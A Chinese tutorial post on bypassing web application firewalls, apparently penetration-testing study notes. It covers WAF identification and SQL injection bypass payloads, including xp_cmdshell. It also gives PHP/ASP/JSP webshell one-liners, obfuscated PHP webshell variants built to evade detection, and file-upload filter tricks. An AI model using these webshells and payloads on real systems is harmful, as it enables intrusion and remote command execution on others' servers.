首页 > 其他分享 >第五章-WAF 绕过

第五章-WAF 绕过

时间:2024-04-06 13:44:07浏览次数:30  
标签:编码 &# color WAF 第五章 木马 绕过

WAF 绕过

1.WAF分类

1.1.软件 WAF

一般被安装到 Web 服务器中直接对其进行防护,能够接触到服务器上的文件,直接检测服务器上是否有不安全的文件和操作等。

常见的软件:安全狗、云盾、云锁等

1.2.硬件 WAF

以硬件的形式部署在网络链路中,串联部署、旁路部署

串联部署的 WAF 在检测到恶意流程之后可以直接拦截

旁路部署的 WAF 只能记录攻击流程,无法直接进行拦截

常见的硬件 WAF:绿盟 WAF、天融信 WAF、360 WAF 等各大厂商的产品

1.3.云 WAF

前两种无法适配云端业务系统,云 WAF 一般以反向代理的方式进行配置,通过配置 NS 记录或者 CNAME 记录,使相关的服务请求先被发送到云 WAF

常见的云 WAF:安全宝、百度加速乐等

1.4.网站内置 WAF

程序员将拦截防护的功能内嵌到网站中,可以直接对用户的请求进行过滤

这种方式使用在早期防护,自由度较高,但防护能力一般,升级迭代比较麻烦

2.WAF 处理流程

大致分为四个流程:预处理、规则检测、处理模块、日志记录

第一步:预处理。用户请求 Web 服务,该请求到达服务器后先进行身份认证,通过匹配白名单进行检测,判断是否归属白名单。如果归属,就直接把该请求发送到服务器;不然就先进行数据包解析;

第二步:规则检测。上述数据包完成解析后会被投放到规则系统进行匹配,判断是否有不符合规则的请求。如果符合规则,则该数据会被放行到服务器;

第三步:处理模块。如果不符合规则,则会进行拦截,并弹出警告页面。不同 WAF 的产品弹出的警告页面各不相同;

第四步:日志记录。WAF 会将拦截处理等行为记录在日志中,便于对日志进行分析。

3.WAF 识别

3.1.sqlmap 判断

检测语句:sqlmap -u "url" --identify-waf --batch

如果安装的 WAF 没有 “指纹” 特征(比较隐蔽或在 sqlmap 的指纹库中没有该特征信息),那么识别出的结果就是 Generic

注意:详细的识别规则在 sqlmap 的 waf 目录下,也可自己编写规则,编写完成后直接放在 waf 目录下即可

3.2.WAFW00F 识别

安装及简单使用:

git clone https://github.com/EnableSecurity/wafw00f
cd wafw00f
python setup.py install
wafw00f -l #显示可检测出的 WAF 类型
wafw00f https://www.example.org #检测 WAF 命令

其他工具:https://github.com/stamparm/identYwaf/tree/master

3.3.手工判断

查看网站的拦截页面,被拦截的表现为页面无法访问、响应码不同、返回与正常请求网页时不同的结果等,各类 WAF 的响应页面信息也不同

响应页面:https://github.com/stamparm/identYwaf/tree/master/screenshots、https://developer.aliyun.com/article/1340129

4.SQL 注入漏洞绕过

4.1.大小写绕过

union --> uUiOn

4.2.替换关键字绕过

4.2.1.关键词双写

union --> UNIunionON

4.2.2.同价词替换

and &&
or ||
= <、>
空格 %20、%09、%0a、%0b、%0c、%0d、%a0、/**/

4.2.3.特殊字符拼接

常见的特殊符号:+、#、%23、--+、\\\\、``、@、~、!、%、()、[]、|、%00 等

例如:

select`version`(); #可以绕过空格的过滤
select+id-1+1.from users; #+ 用于连接字符串,使用 - 和 . 可以绕过对空格和关键词的过滤
index.aspx?id=1;exec('ma'+'ster..x'+'p_cm'+dsh+'ell "net user"'); #可以绕过对空格和关键词的过滤,exec 中原语句:master xp_cmdshell net user

4.3.编码绕过

常见编码类型:URL 编码、Base64 编码、Unicode 编码、HEC 编码、ASCII 编码等

4.3.1.URL 编码

在浏览器的输入框中,非保留字的字符会被 URL 编码,如空格变为 %20、单引号变为 %27、左括号变为 %28 等

在绕过 WAF 时可以考虑 URL 编码,针对特殊情况可以进行两次 URL 编码(payload 到达服务器后会自动进行一次 URL 解码,再经过代码中的 urldecode 函数解码)

4.3.2.Base64 编码

一种将二进制数据转换为文本格式的编码方式,将三个字节的二进制数据编码为4个可打印字符

原字符串:select user() --+

编码后:c2VsZWN0IHVzZXIoKSAtLSs=

4.3.3.HEX 编码

原字符串:select user() --+

编码后:\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0075\u0073\u0065\u0072\u0028\u0029\u0020\u002d\u002d\u002b

4.3.3.Unicode 编码

原字符串:select user() --+

编码后:&#115;&#101;&#108;&#101;&#99;&#116;&#32;&#117;&#115;&#101;&#114;&#40;&#41;&#32;&#45;&#45;&#43;

在线编码网站

XSS'OR

安全小工具

CTF 在线工具

MD5 在线解密

4.4.内联注释绕过

指再 SQL 语句中使用注释来避免注入攻击的一种技术,可在无法使用参数化查询或存储的情况下,通过在 SQL 语句中嵌入注释来绕过注入攻击

内联注释原理:在 SQL 语句中嵌入注释,使攻击者无法额外的语句或修改现有的语句(如:使用 -- 来注释整行代码,或使用 /**/ 来注释一段代码)

绕过:

在MySQL中扩展了注释的功能:/*!50001payload*/,这种情况注释里的语句将被执行

例:1'+and +/*!50001sleep(3)*/+and+1=1%23

4.5.HTTP 参数污染

HTTP 参数污染(HTTP Parameter Polution,HPP),又被称为重复参数污染,指当同一参数出现多次时,不同的服务器中间件会将其解析为不同的结果

如果 WAF 只检测了同名参数的第一个或最后一个,并且服务器中间件的特性正好取与 WAF 相反的参数,则可能成功绕过

常见参数污染方法:

服务器中间件 解析结果 举例说明
ASP .NET/ IIS 所有出现的参数值用逗号连接 color=red,blue
ASP / IIS 所有出现的参数值用逗号连接 color=red,blue
PHP / Apache 仅最后一次出现参数值 color=blue
PHP / Zeus 仅最后一次出现参数值 color=blue
JSP,Servlet / Apache Tomcat 仅第一次数显参数值 color=red
JSP,Servlet / Oracle Application Server 10g 仅第一次数显参数值 color=red
JSP,Servlet / Jetty 仅第一次数显参数值 color=red
IBM Lotus Domino 仅最后一次出现参数值 color=blue
IBM HTTP Server 仅第一次数显参数值 color=red
mod_perl,libapreq2 / Apache 仅第一次数显参数值 color=red
Perl CGI / Apache 仅第一次数显参数值 color=red
mod_wsgi(python) / Apache 仅第一次数显参数值 color=red
Python / Zope 转化为 List color=['red','blue']

 

 

 

 

 

 

 

 

 

 

 

 

 

 

例:xxx.php?id=1'union--+&id=*/%0aselect 1,2,'web.config'--+

Bypass语句:xxx.php?id=1'union--+&id=*/%0aselect 1&iid=2&id='web.config'--+

4.6.分块传输

需要对 POST 数据进行分块传输编码,是 HTTP 的一种传输方式,适用于 HTTP 1.1 版本,需要在请求行中添加 Transfer-Encoding: Chunked。

做法:

  1. 先拦截数据并将其发送到 Burt Suite 的 Reperter 模块;
  2. 再使用 Burp Suite 的 Chunked coding comverter 选项,对 POST 数据进行分块传输编码(Encoing request body);
  3. 向服务器发送已构造好的数据

4.7.sqlmap 绕过 WAF

sqlmap 发出的数据包在默认情况下不会被处理,可能会被服务器的拦截规则 pass,这种情况下可以考虑使用参数 tamper

当脚本在实际测试过程中用处不大时,需要对其进行修改或者重现编写

脚本参考:https://www.cnblogs.com/luoluostudy/p/18115882

5.webshell 变形

5.1.常见一句话木马

类型 基本木马
PHP <?php @eval($_POST['key']);?>等
ASPX <%@ Page Language="Jscript"%><%eval(Request.Item["g"],"unsafe");%>等
ASP <% eval request("cmd")%>等
JSP <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ returm super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant"); if(cls!=null){ new U(this.getClass.getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>等

 小马:代码量比一句话木马多,功能比较单一,比如写木马文件、读敏感文件等,容易被杀软查杀,常见有404小马、功能小马等

大马:代码量大,体积大,可以和一句话木马配合使用(先绕过一句话木马,再上传大马),容易被发现,可以变形或伪装(编码、远程接入等),功能主要为文件管理、命令执行、数据库管理、清理木马、写木马、信息收集、提权、内网渗透等

5.2.自定义函数

create_function 函数,用于在运行时动态创建一个函数

用法:mixed create_function(string $args, string $code)

$args:表示函数的参数列表,使用逗号分割,每个参数可以有一个初始值

$code:表示函数的主体部分,是一个字符串形式的 PHP 代码块

构造一句话木马的脚本:<?php $fun=create_function(' ',$POST['a'];$fun();?>

5.3.回调函数

call_user_func 函数,用于调用第一个参数给定的回调并将其余参数作为参数传递

用法:mixed call_user_func( $function_name[, mixed $value1[, mixed $...]])

$function_name:表示已定义函数列表中函数调用的名称,是一个字符串类型参数

$value:表示混合值,是一个或多个要传递给函数的参数

构造一句话木马脚本:<?Php @call_user_func(assert, $_POST['a']);?>

5.4.脚本型 Webshell

构造脚本型木马的脚本:<script language=php>@eval($_POST['web']);</script>

5.5.加解密

5.5.1. base64_decode 函数

<?php
$a=base64_decode("ZXZhbA==");//assert
$a($_POST['a']);
?>

5.5.2.str_rot13 函数

算法:将字母表中每一个字母都替换为它后面的第 13 个字母

<?php
$a=str_rot13("nffreg");//assert
$a($_POST['p']);
?>

5.5.3.综合加密类变形

<?php
if(isset($_POST['com'])&&md5($_POST['com'])=='202cb962ac59075b964b07152d234b70'&&isset($_POST['content'])) $content=strtr($_POST['content'], '-_,','+/=');eval(base64_decode($content));
?>
#202cb962ac59075b964b07152d234b70--123

5.6.反序列化

两个函数:serialize()、unserialize()

<?php
class Blog
{var $vul='';
    function_destruct()
    {eval($this->vul);}}
unserialize($_GET['name']);    
?>

测试payload:index.php?name=O:4:"Blog":1:{s:3:"vul";s:10:"phpinfo();";}

5.7.类的方法

将操作封装成正常的类,再进行调用

<?php
class log
{function write($er)
{@assert($er);//在定义的类中肯定有某些危险的函数用来执行或解析代码
}}
$win=new log();
$win->write($_POST['p']);
?>

5.8.其他方法

5.8.1.get_defined_functions 函数构造木马

作用:返回所有一定义的函数,包括内置函数和用户定义的函数

通过该函数得到所有函数

<?php
$a=get_defined_functions();
//print_r($a['internal']);
$a['internal'][1110]($_GET['a']);
?>

5.8.2.forward_static_call_array 函数构造木马

作用:允许调用一个类的静态方法,并将方法的参数作为一个数组传递

语法:forward_static_call_array(callable $callback, array $parameters): mixed

$callback:指定要调用的静态方法,可以使用字符串表示,如:MyClass::myMethod;或者使用数组形式表示,如:[$myObject, 'myMethod']

$parameters:包含方法参数的数组

<?php
/**
 * Noticed : (PHP 5 >= 5.3.0, PHP 7)
 */
$password="cream_sec"; #密码是cream_sec
$wx=substr($_SERVER["HTTP_REFERER"],-7,4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
?>

请求时,先设置 Referer 头,后面以 “ass” 结尾,如:Referer: https://www.baidu.com/ass.php

6.文件上传漏洞绕过

文件上传漏洞原因:

  • 文件类型检测不严格;
  • 文件大小限制不严格;
  • 上传路径可控
  • 文件名可控等。

6.1.换行绕过

上传文件,拦截数据包,在文件名处直接添加换行即可

6.2.多个等号绕过

上传文件,拦截数据包,在文件名处添加多个等号:filename===="info.php"

6.3.00 截断绕过

针对文件名可控的文件上传漏洞

上传文件,拦截数据包,在 HEX 模式下,在文件最后添加 %00

6.4.文件名加 ; 绕过

在文件后缀点前面添加 ;:filename="info;.php"

6.5.文件名加 ' 绕过

在文件后缀点前添加 ' :filename="info'.php"

标签:编码,&#,color,WAF,第五章,木马,绕过
From: https://www.cnblogs.com/luoluostudy/p/18117304

相关文章

  • 数据结构 第五章(树和二叉树)【下】
    写在前面:本系列笔记主要以《数据结构(C语言版)》为参考(本章部分图片以及知识点整理来源于王道),结合下方视频教程对数据结构的相关知识点进行梳理。所有代码块使用的都是C语言,如有错误欢迎指出。视频链接:第01周a--前言_哔哩哔哩_bilibili哈夫曼树部分的代码参考了一位小伙伴分享的......
  • 第五章 详细设计
    【考核内容】程序流程图的符号,盒图的符号,PAD图的符号,判定表与判定树的作用与特点,程序复杂程度的定量度量。【考核要求】1.能够根据陈述绘制相应处理的程序流程图、盒图、PAD图、判定表、判定树;程序流程图盒图:PAD图:判定表:判定树:2.掌握程序复杂程度的两种定量度量方法:......
  • ctfshow--web14 sql注入利用``的清奇的绕过
    输入c=3就会跳出来这个url复制并访问,看这个页面应该是sql注入有注释可看,看看他过滤了哪些东西点击查看代码if(preg_match('/information_schema\.tables|information_schema\.columns|linestring||polygon/is',$_GET['query'])){ die('@A@'); }点击查看代码查看......
  • ctfshow--web11session置空绕过
    代码审计点击查看代码<?phpfunctionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";returnpreg_replace($regex,"",$strParam);}if(strlen($passw......
  • 【小迪安全2023】第9天:信息打点-CDN绕过篇&漏洞回链&接口探针&全网扫描&反向邮件;第10
    ......
  • 绕过WPS Office登录:轻松解锁所有功能的操作指南
    对于广大WPSOffice用户来说,最近的版本更新带来了一项不太受欢迎的变化:必须登录账户才能完全使用软件。这项更改意味着,如果用户在首次启动软件时拒绝登录,几乎所有的顶部工具栏按钮都会变为不可用状态,显示为灰色。尽管简单的登录过程可以轻松解决这个问题,但许多用户对此感到不满......
  • ctfshow--web9 md5二进制格加密的绕过
    dirsearch扫到robots文件查看一下发现有个index.phps文件访问这个index.phps,可以下载下来我们来审计一下这里的代码<?php$flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("passworderror"); } $sql="select*from......
  • ctfshow--web6 sql注入空格绕过
    这道题目空格被过滤了,那么我们可以用/**/来替换空格'union/**/select/**/1,(select/**/database()),3#//查看数据库名名字为web2查看web2下的表名'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schem......
  • 微信小程序第五章
    5.1.1即速应用的优势        即速应用是深圳市咫尺网络科技开发有限公司开发的一款同时兼具微信小程序和支付宝小程序快速开发能力的工具,用户只需简单拖拽可视化组件,就可以实现在线小程序开发。据不完全统计,在微信小程序正式发布的1年内,在即速应用上打包代码并成功上......
  • SQL注入原理及步骤以及黑名单绕过方式
    原理mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:步骤判断是否存在sql注入:分别输入不同的id值:——有结果:1’and1=1#——无结果:1’and1=2#——出错:1'——正常:1''(两个单引号)换成双引号同理。判断查询结果有多少列:—......